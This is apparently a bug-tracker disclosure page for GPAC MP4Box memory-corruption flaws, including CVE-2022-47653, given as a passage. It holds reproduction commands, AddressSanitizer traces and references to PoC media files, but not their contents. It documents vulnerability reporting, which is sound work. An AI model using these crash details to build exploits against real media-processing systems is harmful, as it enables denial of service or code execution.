    media_tools/av_parsers.c:9113:50: runtime error: index 8 out of bounds for type 'GF_AC3StreamInfo [8]'
    

**POC**

poc\_bof7.zip

**Impact**

Potentially causing DoS and RCE

**Credit**

Xdchase

CVE-2022-47653: buffer overflow in eac3_update_channels function of media_tools/av_parsers.c:9113 · Issue #2349 · gpac/gpac

GPAC MP4Box 2.1-DEV-rev649-ga8f438d20 is vulnerable to Buffer Overflow via media_tools/av_parsers.c:4988 in gf_media_nalu_add_emulation_bytes

*   I looked for a similar issue and couldn't find any.
*   I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
*   I give enough information for contributors to reproduce my issue (meaningful title, github labels,

**Description**

heap-buffer-overflow media\_tools/av\_parsers.c:4988 in gf\_media\_nalu\_add\_emulation\_bytes

**Version info**

latest version atm

    MP4Box - GPAC version 2.1-DEV-rev649-ga8f438d20-master
    (c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
    
    Please cite our work in your research:
    	GPAC Filters: https://doi.org/10.1145/3339825.3394929
    	GPAC: https://doi.org/10.1145/1291233.1291452
    
    GPAC Configuration: --enable-sanitizer
    Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB  GPAC_DISABLE_3D
    

**Reproduce**

compile and run

    ./configure --enable-sanitizer
    make
    ./MP4Box import -catx poc_bof14.mp4
    

Crash reported by sanitizer

    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] SEI user message type 71 size error (71 but 27 remain), keeping full SEI untouched
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] SEI user message has less than 2 bytes remaining but no end of sei found
    =================================================================
    ==745696==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x615000014780 at pc 0x7f373f26d683 bp 0x7ffd5a01c290 sp 0x7ffd5a01c280
    WRITE of size 1 at 0x615000014780 thread T0
        #0 0x7f373f26d682 in gf_media_nalu_add_emulation_bytes media_tools/av_parsers.c:4988
        #1 0x7f373f26d682 in gf_avc_reformat_sei media_tools/av_parsers.c:6355
        #2 0x7f373fccee25 in naludmx_push_prefix filters/reframe_nalu.c:2398
        #3 0x7f373fcee8ac in naludmx_parse_nal_avc filters/reframe_nalu.c:2821
        #4 0x7f373fcee8ac in naludmx_process filters/reframe_nalu.c:3333
        #5 0x7f373f8a5f1d in gf_filter_process_task filter_core/filter.c:2815
        #6 0x7f373f8655a3 in gf_fs_thread_proc filter_core/filter_session.c:1859
        #7 0x7f373f871ece in gf_fs_run filter_core/filter_session.c:2120
        #8 0x7f373f2b49c1 in gf_media_import media_tools/media_import.c:1551
        #9 0x55b1ec0f1b4c in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
        #10 0x55b1ec0fc5d7 in cat_isomedia_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:2536
        #11 0x55b1ec0a6130 in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4562
        #12 0x55b1ec0a6130 in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
        #13 0x7f373c83bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
        #14 0x7f373c83be3f in __libc_start_main_impl ../csu/libc-start.c:392
        #15 0x55b1ec082cb4 in _start (/home/sumuchuan/Desktop/gpac_fuzz/gpac/bin/gcc/MP4Box+0xabcb4)
    
    0x615000014780 is located 0 bytes to the right of 512-byte region [0x615000014580,0x615000014780)
    allocated by thread T0 here:
        #0 0x7f37423a4867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
        #1 0x7f373ea2c72a in gf_bs_new utils/bitstream.c:154
        #2 0x7f373f26c993 in gf_avc_reformat_sei media_tools/av_parsers.c:6227
        #3 0x7f373fccee25 in naludmx_push_prefix filters/reframe_nalu.c:2398
        #4 0x7f373fcee8ac in naludmx_parse_nal_avc filters/reframe_nalu.c:2821
        #5 0x7f373fcee8ac in naludmx_process filters/reframe_nalu.c:3333
        #6 0x7f373f8a5f1d in gf_filter_process_task filter_core/filter.c:2815
        #7 0x7f373f8655a3 in gf_fs_thread_proc filter_core/filter_session.c:1859
        #8 0x7f373f871ece in gf_fs_run filter_core/filter_session.c:2120
        #9 0x7f373f2b49c1 in gf_media_import media_tools/media_import.c:1551
        #10 0x55b1ec0f1b4c in import_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:1498
        #11 0x55b1ec0fc5d7 in cat_isomedia_file /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/fileimport.c:2536
        #12 0x55b1ec0a6130 in do_add_cat /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:4562
        #13 0x55b1ec0a6130 in mp4box_main /home/sumuchuan/Desktop/gpac_fuzz/gpac/applications/mp4box/mp4box.c:6124
        #14 0x7f373c83bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow media_tools/av_parsers.c:4988 in gf_media_nalu_add_emulation_bytes
    Shadow bytes around the buggy address:
      0x0c2a7fffa8a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2a7fffa8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2a7fffa8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2a7fffa8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c2a7fffa8f0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c2a7fffa940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==745696==ABORTING
    

if compile without ASAN and run the same poc

    ./configure --static-bin
    make
    ./MP4Box import -catx poc_bof14.mp4
    

The crash will happen at another place

    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] SEI user message type 71 size error (71 but 27 remain), keeping full SEI untouched
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] SEI user message has less than 2 bytes remaining but no end of sei found
    [avc-h264] invalid SPS: log2_max_frame_num_minus4 shall be less than 12, but is 16962257
    [AVC|H264] Error parsing NAL unit type 7
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] SEI user message type 16 size error (45 but 7 remain), keeping full SEI untouched
    [avc-h264] invalid SPS: log2_max_frame_num_minus4 shall be less than 12, but is 32527
    [AVC|H264] Error parsing NAL unit type 7
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [AVC|H264] Error parsing NAL unit type 8
    [AVC|H264] Error parsing Picture Param Set
    [avc-h264] invalid SPS: log2_max_frame_num_minus4 shall be less than 12, but is 16964897
    [AVC|H264] Error parsing NAL unit type 7
    [avc-h264] Unknown aspect_ratio_idc: your video may have a wrong aspect ratio. Contact the GPAC team!
    [avc-h264] invalid SPS: log2_max_frame_num_minus4 shall be less than 12, but is 63
    [AVC|H264] Error parsing NAL unit type 7
    [avc-h264] Unknown aspect_ratio_idc: your video may have a wrong aspect ratio. Contact the GPAC team!
    realloc(): invalid next size
    Aborted
    

realloc(): invalid next size indicates that there was a bof on heap indeed, overwriting the size field of a heap chunk.

**POC**

poc\_bof14.zip

**Impact**

Potentially causing DoS and RCE

**Credit**

Xdchase

Tag

#rce